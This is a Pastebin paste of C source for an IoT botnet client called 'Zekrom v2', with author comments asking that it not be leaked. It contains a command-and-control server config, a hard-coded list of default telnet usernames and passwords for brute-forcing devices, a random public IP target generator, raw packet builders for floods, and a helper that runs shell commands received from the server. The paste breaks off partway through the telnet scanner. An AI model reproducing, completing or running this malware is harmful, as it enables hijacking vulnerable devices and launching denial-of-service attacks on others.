ZucoCheezy

ZekromV2-Client

Nov 26th, 2018
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 73.96 KB | None | 0 0
  1. /*
  2. Skype: bl4ck.j3sus
  3. Made Date: 6-15-16
  4. shoutout to homie void for some of the shit
  5. this isnt meant to be released but if it does eventually
  6. i got to give some credz to him <3
  7. */
  8. /*
  9.                 *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  10.  
  11. # ___     __________  ____ _______      _____ _______________.___.  ___
  12. # / _ \_/\ \______   \/_   |\      \    /  _  \\______   \__  |   | / _ \_/\
  13. # \/ \___/  |    |  _/ |   |/   |   \  /  /_\  \|       _//   |   | \/ \___/
  14. #           |    |   \ |   /    |    \/    |    \    |   \\____   |
  15. #           |______  / |___\____|__  /\____|__  /____|_  // ______|
  16. #                  \/              \/         \/       \/ \/
  17.  
  18.                         *** ZEKROM v2 CLIENT.C ***
  19. */
  20. //     ___      __ _
  21. //    /   \___ / _(_)_ __   ___  ___
  22. //   / /\ / _ \ |_| | '_ \ / _ \/ __|
  23. //  / /_//  __/  _| | | | |  __/\__ \
  24. // /___,' \___|_| |_|_| |_|\___||___/
  25.  
  26. #define PR_SET_NAME 15
  27. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  28. #define PAD_RIGHT 1
  29. #define PAD_ZERO 2
  30. #define PRINT_BUF_LEN 12
  31. #define CMD_IAC   255
  32. #define CMD_WILL  251
  33. #define CMD_WONT  252
  34. #define CMD_DO    253
  35. #define CMD_DONT  254
  36. #define OPT_SGA   3
  37. #define STD2_STRING "dts"
  38. #define STD2_SIZE 50
  39.  
  40. //   _____            _           _
  41. //   \_   \_ __   ___| |_   _  __| | ___  ___
  42. //    / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
  43. // /\/ /_ | | | | (__| | |_| | (_| |  __/\__ \
  44. // \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
  45.  
  46. #include <stdlib.h>
  47. #include <stdarg.h>
  48. #include <stdio.h>
  49. #include <sys/socket.h>
  50. #include <sys/types.h>
  51. #include <netinet/in.h>
  52. #include <arpa/inet.h>
  53. #include <netdb.h>
  54. #include <signal.h>
  55. #include <strings.h>
  56. #include <string.h>
  57. #include <sys/utsname.h>
  58. #include <unistd.h>
  59. #include <fcntl.h>
  60. #include <errno.h>
  61. #include <netinet/ip.h>
  62. #include <netinet/udp.h>
  63. #include <netinet/tcp.h>
  64. #include <sys/wait.h>
  65. #include <sys/ioctl.h>
  66. #include <net/if.h>
  67. #include <pthread.h>
  68.  
  69. //    ___             __ _
  70. //   / __\___  _ __  / _(_) __ _
  71. //  / /  / _ \| '_ \| |_| |/ _` |
  72. // / /__| (_) | | | |  _| | (_| |
  73. // \____/\___/|_| |_|_| |_|\__, |
  74. //                         |___/
  75.  
  76. unsigned char *commServer[] =
  77. {
  78.         "0.0.0.0:666"
  79. };
  80.  
  81. //    ___                 _
  82. //   / __\   _ _ __   ___| |_(_) ___  _ __  ___
  83. //  / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
  84. // / /  | |_| | | | | (__| |_| | (_) | | | \__ \
  85. // \/    \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
  86.  
  87. int initConnection();
  88. int getBogos(unsigned char *bogomips);
  89. int getCores();
  90. int getCountry(unsigned char *buf, int bufsize);
  91. void makeRandomStr(unsigned char *buf, int length);
  92. int sockprintf(int sock, char *formatStr, ...);
  93. char *inet_ntoa(struct in_addr in);
  94.  
  95. //    ___ _       _           _
  96. //   / _ \ | ___ | |__   __ _| |___
  97. //  / /_\/ |/ _ \| '_ \ / _` | / __|
  98. // / /_\\| | (_) | |_) | (_| | \__ \
  99. // \____/|_|\___/|_.__/ \__,_|_|___/
  100.  
  101. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  102. uint32_t *pids;
  103. uint32_t scanPid;
  104. uint64_t numpids = 0;
  105. struct in_addr ourIP;
  106. unsigned char macAddress[6] = {0};
  107. char *usernames[] = {"root\0", "support\0", "guest\0", "ubnt\0"};
  108. char *passwords[] = {"root\0", "\0", "vizxv\0", "admin\0", "123\0", "1234\0", "12345\0", "123456\0", "support\0", "ubnt\0", "7ujMko0vizxv\0", "dreambox\0", "guest\0"};
  109.  
  110. //    ___  ___  __      __  ___
  111. //   / __\/ _ \/__\  /\ \ \/ _ \
  112. //  / _\ / /_)/ \// /  \/ / /_\/
  113. // / /  / ___/ _  \/ /\  / /_\\
  114. // \/   \/   \/ \_/\_\ \/\____/
  115.  
  116. #define PHI 0x9e3779b9
  117. static uint32_t Q[4096], c = 362436;
  118.  
  119. void init_rand(uint32_t x)
  120. {
  121.         int i;
  122.  
  123.         Q[0] = x;
  124.         Q[1] = x + PHI;
  125.         Q[2] = x + PHI + PHI;
  126.  
  127.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  128. }
  129.  
  130. uint32_t rand_cmwc(void)
  131. {
  132.         uint64_t t, a = 18782LL;
  133.         static uint32_t i = 4095;
  134.         uint32_t x, r = 0xfffffffe;
  135.         i = (i + 1) & 4095;
  136.         t = a * Q[i] + c;
  137.         c = (uint32_t)(t >> 32);
  138.         x = t + c;
  139.         if (x < c) {
  140.                 x++;
  141.                 c++;
  142.         }
  143.         return (Q[i] = r - x);
  144. }
  145.  
  146. //        _   _ _
  147. //  /\ /\| |_(_) |___
  148. // / / \ \ __| | / __|
  149. // \ \_/ / |_| | \__ \
  150. //  \___/ \__|_|_|___/
  151.  
  152. void trim(char *str)
  153. {
  154.         int i;
  155.         int begin = 0;
  156.         int end = strlen(str) - 1;
  157.  
  158.         while (isspace(str[begin])) begin++;
  159.  
  160.         while ((end >= begin) && isspace(str[end])) end--;
  161.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  162.  
  163.         str[i - begin] = '\0';
  164. }
  165.  
  166. static void printchar(unsigned char **str, int c)
  167. {
  168.         if (str) {
  169.                 **str = c;
  170.                 ++(*str);
  171.         }
  172.         else (void)write(1, &c, 1);
  173. }
  174.  
  175. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  176. {
  177.         register int pc = 0, padchar = ' ';
  178.  
  179.         if (width > 0) {
  180.                 register int len = 0;
  181.                 register const unsigned char *ptr;
  182.                 for (ptr = string; *ptr; ++ptr) ++len;
  183.                 if (len >= width) width = 0;
  184.                 else width -= len;
  185.                 if (pad & PAD_ZERO) padchar = '0';
  186.         }
  187.         if (!(pad & PAD_RIGHT)) {
  188.                 for ( ; width > 0; --width) {
  189.                         printchar (out, padchar);
  190.                         ++pc;
  191.                 }
  192.         }
  193.         for ( ; *string ; ++string) {
  194.                 printchar (out, *string);
  195.                 ++pc;
  196.         }
  197.         for ( ; width > 0; --width) {
  198.                 printchar (out, padchar);
  199.                 ++pc;
  200.         }
  201.  
  202.         return pc;
  203. }
  204.  
  205. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  206. {
  207.         unsigned char print_buf[PRINT_BUF_LEN];
  208.         register unsigned char *s;
  209.         register int t, neg = 0, pc = 0;
  210.         register unsigned int u = i;
  211.  
  212.         if (i == 0) {
  213.                 print_buf[0] = '0';
  214.                 print_buf[1] = '\0';
  215.                 return prints (out, print_buf, width, pad);
  216.         }
  217.  
  218.         if (sg && b == 10 && i < 0) {
  219.                 neg = 1;
  220.                 u = -i;
  221.         }
  222.  
  223.         s = print_buf + PRINT_BUF_LEN-1;
  224.         *s = '\0';
  225.  
  226.         while (u) {
  227.                 t = u % b;
  228.                 if( t >= 10 )
  229.                 t += letbase - '0' - 10;
  230.                 *--s = t + '0';
  231.                 u /= b;
  232.         }
  233.  
  234.         if (neg) {
  235.                 if( width && (pad & PAD_ZERO) ) {
  236.                         printchar (out, '-');
  237.                         ++pc;
  238.                         --width;
  239.                 }
  240.                 else {
  241.                         *--s = '-';
  242.                 }
  243.         }
  244.  
  245.         return pc + prints (out, s, width, pad);
  246. }
  247.  
  248. static int print(unsigned char **out, const unsigned char *format, va_list args )
  249. {
  250.         register int width, pad;
  251.         register int pc = 0;
  252.         unsigned char scr[2];
  253.  
  254.         for (; *format != 0; ++format) {
  255.                 if (*format == '%') {
  256.                         ++format;
  257.                         width = pad = 0;
  258.                         if (*format == '\0') break;
  259.                         if (*format == '%') goto out;
  260.                         if (*format == '-') {
  261.                                 ++format;
  262.                                 pad = PAD_RIGHT;
  263.                         }
  264.                         while (*format == '0') {
  265.                                 ++format;
  266.                                 pad |= PAD_ZERO;
  267.                         }
  268.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  269.                                 width *= 10;
  270.                                 width += *format - '0';
  271.                         }
  272.                         if( *format == 's' ) {
  273.                                 register char *s = (char *)va_arg( args, int );
  274.                                 pc += prints (out, s?s:"(null)", width, pad);
  275.                                 continue;
  276.                         }
  277.                         if( *format == 'd' ) {
  278.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  279.                                 continue;
  280.                         }
  281.                         if( *format == 'x' ) {
  282.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  283.                                 continue;
  284.                         }
  285.                         if( *format == 'X' ) {
  286.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  287.                                 continue;
  288.                         }
  289.                         if( *format == 'u' ) {
  290.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  291.                                 continue;
  292.                         }
  293.                         if( *format == 'c' ) {
  294.                                 scr[0] = (unsigned char)va_arg( args, int );
  295.                                 scr[1] = '\0';
  296.                                 pc += prints (out, scr, width, pad);
  297.                                 continue;
  298.                         }
  299.                 }
  300.                 else {
  301. out:
  302.                         printchar (out, *format);
  303.                         ++pc;
  304.                 }
  305.         }
  306.         if (out) **out = '\0';
  307.         va_end( args );
  308.         return pc;
  309. }
  310.  
  311. int zprintf(const unsigned char *format, ...)
  312. {
  313.         va_list args;
  314.         va_start( args, format );
  315.         return print( 0, format, args );
  316. }
  317.  
  318. int szprintf(unsigned char *out, const unsigned char *format, ...)
  319. {
  320.         va_list args;
  321.         va_start( args, format );
  322.         return print( &out, format, args );
  323. }
  324.  
  325.  
  326. int sockprintf(int sock, char *formatStr, ...)
  327. {
  328.         unsigned char *textBuffer = malloc(2048);
  329.         memset(textBuffer, 0, 2048);
  330.         char *orig = textBuffer;
  331.         va_list args;
  332.         va_start(args, formatStr);
  333.         print(&textBuffer, formatStr, args);
  334.         va_end(args);
  335.         orig[strlen(orig)] = '\n';
  336.         zprintf("buf: %s\n", orig);
  337.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  338.         free(orig);
  339.         return q;
  340. }
  341.  
  342. static int *fdopen_pids;
  343.  
  344. int fdpopen(unsigned char *program, register unsigned char *type)
  345. {
  346.         register int iop;
  347.         int pdes[2], fds, pid;
  348.  
  349.         if (*type != 'r' && *type != 'w' || type[1]) return -1;
  350.  
  351.         if (pipe(pdes) < 0) return -1;
  352.         if (fdopen_pids == NULL) {
  353.                 if ((fds = getdtablesize()) <= 0) return -1;
  354.                 if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  355.                 memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  356.         }
  357.  
  358.         switch (pid = vfork())
  359.         {
  360.         case -1:
  361.                 close(pdes[0]);
  362.                 close(pdes[1]);
  363.                 return -1;
  364.         case 0:
  365.                 if (*type == 'r') {
  366.                         if (pdes[1] != 1) {
  367.                                 dup2(pdes[1], 1);
  368.                                 close(pdes[1]);
  369.                         }
  370.                         close(pdes[0]);
  371.                 } else {
  372.                         if (pdes[0] != 0) {
  373.                                 (void) dup2(pdes[0], 0);
  374.                                 (void) close(pdes[0]);
  375.                         }
  376.                         (void) close(pdes[1]);
  377.                 }
  378.                 execl("/bin/sh", "sh", "-c", program, NULL);
  379.                 _exit(127);
  380.         }
  381.         if (*type == 'r') {
  382.                 iop = pdes[0];
  383.                 (void) close(pdes[1]);
  384.         } else {
  385.                 iop = pdes[1];
  386.                 (void) close(pdes[0]);
  387.         }
  388.         fdopen_pids[iop] = pid;
  389.         return (iop);
  390. }
  391.  
  392. int fdpclose(int iop)
  393. {
  394.         register int fdes;
  395.         sigset_t omask, nmask;
  396.         int pstat;
  397.         register int pid;
  398.  
  399.         if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  400.         (void) close(iop);
  401.         sigemptyset(&nmask);
  402.         sigaddset(&nmask, SIGINT);
  403.         sigaddset(&nmask, SIGQUIT);
  404.         sigaddset(&nmask, SIGHUP);
  405.         (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  406.         do {
  407.                 pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  408.         } while (pid == -1 && errno == EINTR);
  409.         (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  410.         fdopen_pids[fdes] = 0;
  411.         return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  412. }
  413.  
  414. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  415. {
  416.         int got = 1, total = 0;
  417.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  418.         return got == 0 ? NULL : buffer;
  419. }
  420.  
  421. static const long hextable[] = {
  422.         [0 ... 255] = -1,
  423.         ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  424.         ['A'] = 10, 11, 12, 13, 14, 15,
  425.         ['a'] = 10, 11, 12, 13, 14, 15
  426. };
  427.  
  428. long parseHex(unsigned char *hex)
  429. {
  430.         long ret = 0;
  431.         while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  432.         return ret;
  433. }
  434.  
  435. int wildString(const unsigned char* pattern, const unsigned char* string) {
  436.         switch(*pattern)
  437.         {
  438.         case '\0': return *string;
  439.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  440.         case '?': return !(*string && !wildString(pattern+1, string+1));
  441.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  442.         }
  443. }
  444.  
  445. int getHost(unsigned char *toGet, struct in_addr *i)
  446. {
  447.         struct hostent *h;
  448.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  449.         return 0;
  450. }
  451.  
  452. void uppercase(unsigned char *str)
  453. {
  454.         while(*str) { *str = toupper(*str); str++; }
  455. }
  456.  
  457. int getBogos(unsigned char *bogomips)
  458. {
  459.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  460.         char linebuf[4096];
  461.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  462.         {
  463.                 uppercase(linebuf);
  464.                 if(strstr(linebuf, "BOGOMIPS") == linebuf)
  465.                 {
  466.                         unsigned char *pos = linebuf + 8;
  467.                         while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  468.                         while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  469.                         if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  470.                         strcpy(bogomips, pos);
  471.                         close(cmdline);
  472.                         return 0;
  473.                 }
  474.                 memset(linebuf, 0, 4096);
  475.         }
  476.         close(cmdline);
  477.         return 1;
  478. }
  479.  
  480. int getCores()
  481. {
  482.         int totalcores = 0;
  483.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  484.         char linebuf[4096];
  485.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  486.         {
  487.                 uppercase(linebuf);
  488.                 if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  489.                 memset(linebuf, 0, 4096);
  490.         }
  491.         close(cmdline);
  492.         return totalcores;
  493.  
  494. }
  495.  
  496. void makeRandomStr(unsigned char *buf, int length)
  497. {
  498.         int i = 0;
  499.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  500. }
  501.  
  502. int recvLine(int socket, unsigned char *buf, int bufsize)
  503. {
  504.         memset(buf, 0, bufsize);
  505.  
  506.         fd_set myset;
  507.         struct timeval tv;
  508.         tv.tv_sec = 30;
  509.         tv.tv_usec = 0;
  510.         FD_ZERO(&myset);
  511.         FD_SET(socket, &myset);
  512.         int selectRtn, retryCount;
  513.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  514.                 while(retryCount < 10)
  515.                 {
  516.                         sockprintf(mainCommSock, "PING");
  517.  
  518.                         tv.tv_sec = 30;
  519.                         tv.tv_usec = 0;
  520.                         FD_ZERO(&myset);
  521.                         FD_SET(socket, &myset);
  522.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  523.                                 retryCount++;
  524.                                 continue;
  525.                         }
  526.  
  527.                         break;
  528.                 }
  529.         }
  530.  
  531.         unsigned char tmpchr;
  532.         unsigned char *cp;
  533.         int count = 0;
  534.  
  535.         cp = buf;
  536.         while(bufsize-- > 1)
  537.         {
  538.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  539.                         *cp = 0x00;
  540.                         return -1;
  541.                 }
  542.                 *cp++ = tmpchr;
  543.                 if(tmpchr == '\n') break;
  544.                 count++;
  545.         }
  546.         *cp = 0x00;
  547.  
  548. //      zprintf("recv: %s\n", cp);
  549.  
  550.         return count;
  551. }
  552.  
  553. int connectTimeout(int fd, char *host, int port, int timeout)
  554. {
  555.         struct sockaddr_in dest_addr;
  556.         fd_set myset;
  557.         struct timeval tv;
  558.         socklen_t lon;
  559.  
  560.         int valopt;
  561.         long arg = fcntl(fd, F_GETFL, NULL);
  562.         arg |= O_NONBLOCK;
  563.         fcntl(fd, F_SETFL, arg);
  564.  
  565.         dest_addr.sin_family = AF_INET;
  566.         dest_addr.sin_port = htons(port);
  567.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  568.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  569.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  570.  
  571.         if (res < 0) {
  572.                 if (errno == EINPROGRESS) {
  573.                         tv.tv_sec = timeout;
  574.                         tv.tv_usec = 0;
  575.                         FD_ZERO(&myset);
  576.                         FD_SET(fd, &myset);
  577.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  578.                                 lon = sizeof(int);
  579.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  580.                                 if (valopt) return 0;
  581.                         }
  582.                         else return 0;
  583.                 }
  584.                 else return 0;
  585.         }
  586.  
  587.         arg = fcntl(fd, F_GETFL, NULL);
  588.         arg &= (~O_NONBLOCK);
  589.         fcntl(fd, F_SETFL, arg);
  590.  
  591.         return 1;
  592. }
  593.  
  594. int listFork()
  595. {
  596.         uint32_t parent, *newpids, i;
  597.         parent = fork();
  598.         if (parent <= 0) return parent;
  599.         numpids++;
  600.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  601.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  602.         newpids[numpids - 1] = parent;
  603.         free(pids);
  604.         pids = newpids;
  605.         return parent;
  606. }
  607.  
  608. int negotiate(int sock, unsigned char *buf, int len)
  609. {
  610.         unsigned char c;
  611.  
  612.         switch (buf[1]) {
  613.         case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  614.         case CMD_WILL:
  615.         case CMD_WONT:
  616.         case CMD_DO:
  617.         case CMD_DONT:
  618.                 c = CMD_IAC;
  619.                 send(sock, &c, 1, MSG_NOSIGNAL);
  620.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  621.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  622.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  623.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  624.                 send(sock, &c, 1, MSG_NOSIGNAL);
  625.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  626.                 break;
  627.  
  628.         default:
  629.                 break;
  630.         }
  631.  
  632.         return 0;
  633. }
  634.  
  635. int matchPrompt(char *bufStr)
  636. {
  637.         char *prompts = ":>%$#\0";
  638.  
  639.         int bufLen = strlen(bufStr);
  640.         int i, q = 0;
  641.         for(i = 0; i < strlen(prompts); i++)
  642.         {
  643.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  644.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  645.         }
  646.  
  647.         return 0;
  648. }
  649.  
  650. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  651. {
  652.         int bufferUsed = initialIndex, got = 0, found = 0;
  653.         fd_set myset;
  654.         struct timeval tv;
  655.         tv.tv_sec = timeout;
  656.         tv.tv_usec = timeoutusec;
  657.         unsigned char *initialRead = NULL;
  658.  
  659.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  660.         {
  661.                 FD_ZERO(&myset);
  662.                 FD_SET(fd, &myset);
  663.                 if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  664.                 initialRead = buffer + bufferUsed;
  665.                 got = recv(fd, initialRead, 1, 0);
  666.                 if(got == -1 || got == 0) return 0;
  667.                 bufferUsed += got;
  668.                 if(*initialRead == 0xFF)
  669.                 {
  670.                         got = recv(fd, initialRead + 1, 2, 0);
  671.                         if(got == -1 || got == 0) return 0;
  672.                         bufferUsed += got;
  673.                         if(!negotiate(fd, initialRead, 3)) return 0;
  674.                 } else {
  675.                         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  676.                 }
  677.         }
  678.  
  679.         if(found) return 1;
  680.         return 0;
  681. }
  682.  
  683.  
  684. //   _____  ___         _   _ _
  685. //   \_   \/ _ \  /\ /\| |_(_) |___
  686. //    / /\/ /_)/ / / \ \ __| | / __|
  687. // /\/ /_/ ___/  \ \_/ / |_| | \__ \
  688. // \____/\/       \___/ \__|_|_|___/
  689.  
  690. static uint8_t ipState[5];
  691. in_addr_t getRandomPublicIP()
  692. {
  693.         uint8_t ipState[4] = {0};
  694.         ipState[0] = rand() % 255;
  695.         ipState[1] = rand() % 255;
  696.         ipState[2] = rand() % 255;
  697.         ipState[3] = rand() % 255;
  698.  
  699.         while(
  700.                 (ipState[0] == 0) ||
  701.                 (ipState[0] == 10) ||
  702.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  703.                 (ipState[0] == 127) ||
  704.                 (ipState[0] == 169 && ipState[1] == 254) ||
  705.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  706.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  707.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  708.                 (ipState[0] == 192 && ipState[1] == 168) ||
  709.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  710.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  711.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  712.                 (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 52) ||
  713.                 (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 49) ||
  714.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 190) ||
  715.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 189) ||
  716.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 188) ||
  717.                 (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 137) ||
  718.                 (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 136) ||
  719.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 147) ||
  720.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 146) ||
  721.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 145) ||
  722.                 (ipState[0] == 63 && ipState[1] == 141 && ipState[2] == 241) ||
  723.                 (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 192) ||
  724.                 (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 244) ||
  725.                 (ipState[0] == 69 && ipState[1] == 197 && ipState[2] == 128) ||
  726.                 (ipState[0] == 162 && ipState[1] == 251 && ipState[2] == 120) ||
  727.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 128) ||
  728.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 180) ||
  729.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 250) ||
  730.                 (ipState[0] == 192 && ipState[1] == 187 && ipState[2] == 113) ||
  731.                 (ipState[0] == 198 && ipState[1] == 204 && ipState[2] == 241) ||
  732.                 (ipState[0] == 204 && ipState[1] == 10 && ipState[2] == 160) ||
  733.                 (ipState[0] == 204 && ipState[1] == 12 && ipState[2] == 192) ||
  734.                 (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 64) ||
  735.                 (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 72) ||
  736.                 (ipState[0] == 208 && ipState[1] == 67) ||
  737.                 (ipState[0] == 94 && ipState[1] == 102 && ipState[2] == 48) ||
  738.                 (ipState[0] == 93 && ipState[1] == 174 && ipState[2] == 88) ||
  739.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 174) ||
  740.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 172) ||
  741.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 170) ||
  742.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 169) ||
  743.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 160) ||
  744.                 (ipState[0] >= 224)
  745.             )
  746.         {
  747.                 ipState[0] = rand() % 255;
  748.                 ipState[1] = rand() % 255;
  749.                 ipState[2] = rand() % 255;
  750.                 ipState[3] = rand() % 255;
  751.         }
  752.  
  753.         char ip[16] = {0};
  754.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  755.         return inet_addr(ip);
  756. }
  757.  
  758. in_addr_t getRandomIP(in_addr_t netmask)
  759. {
  760.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  761.         return tmp ^ ( rand_cmwc() & ~netmask);
  762. }
  763.  
  764. unsigned short csum (unsigned short *buf, int count)
  765. {
  766.         register uint64_t sum = 0;
  767.         while( count > 1 ) { sum += *buf++; count -= 2; }
  768.         if(count > 0) { sum += *(unsigned char *)buf; }
  769.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  770.         return (uint16_t)(~sum);
  771. }
  772.  
  773. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  774. {
  775.  
  776.         struct tcp_pseudo
  777.         {
  778.                 unsigned long src_addr;
  779.                 unsigned long dst_addr;
  780.                 unsigned char zero;
  781.                 unsigned char proto;
  782.                 unsigned short length;
  783.         } pseudohead;
  784.         unsigned short total_len = iph->tot_len;
  785.         pseudohead.src_addr=iph->saddr;
  786.         pseudohead.dst_addr=iph->daddr;
  787.         pseudohead.zero=0;
  788.         pseudohead.proto=IPPROTO_TCP;
  789.         pseudohead.length=htons(sizeof(struct tcphdr));
  790.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  791.         unsigned short *tcp = malloc(totaltcp_len);
  792.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  793.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  794.         unsigned short output = csum(tcp,totaltcp_len);
  795.         free(tcp);
  796.         return output;
  797. }
  798.  
  799. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  800. {
  801.         iph->ihl = 5;
  802.         iph->version = 4;
  803.         iph->tos = 0;
  804.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  805.         iph->id = rand_cmwc();
  806.         iph->frag_off = 0;
  807.         iph->ttl = MAXTTL;
  808.         iph->protocol = protocol;
  809.         iph->check = 0;
  810.         iph->saddr = source;
  811.         iph->daddr = dest;
  812. }
  813.  
  814. int sclose(int fd)
  815. {
  816.         if(3 > fd) return 1;
  817.         close(fd);
  818.         return 0;
  819. }
  820.  
  821. /*
  822. ╔╦╗┌─┐┬  ┌┐┌┌─┐┌┬┐  ╔═╗┌─┐┌─┐┌┐┌┌┐┌┌─┐┬─┐  ┬  ┌─┐┬  
  823.  ║ ├┤ │  │││├┤  │   ╚═╗│  ├─┤││││││├┤ ├┬┘  │  ├┤ │  
  824.  ╩ └─┘┴─┘┘└┘└─┘ ┴   ╚═╝└─┘┴ ┴┘└┘┘└┘└─┘┴└─  ┴─┘└─┘┴─┘
  825. */
  826.  
  827. void TelnetScan(char *ip)
  828. {
  829.         int max = (getdtablesize() / 4) * 3, i, res;
  830.         fd_set myset;
  831.         struct timeval tv;
  832.         socklen_t lon;
  833.         int valopt;
  834.  
  835.         max = max > 512 ? 512 : max;
  836.  
  837.         struct sockaddr_in dest_addr;
  838.         dest_addr.sin_family = AF_INET;
  839.         dest_addr.sin_port = htons(23);
  840.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  841.  
  842.         struct telstate_t
  843.         {
  844.                 int fd;
  845.                 uint32_t ip;
  846.                 uint8_t state;
  847.                 uint8_t complete;
  848.                 uint8_t usernameInd;
  849.                 uint8_t passwordInd;
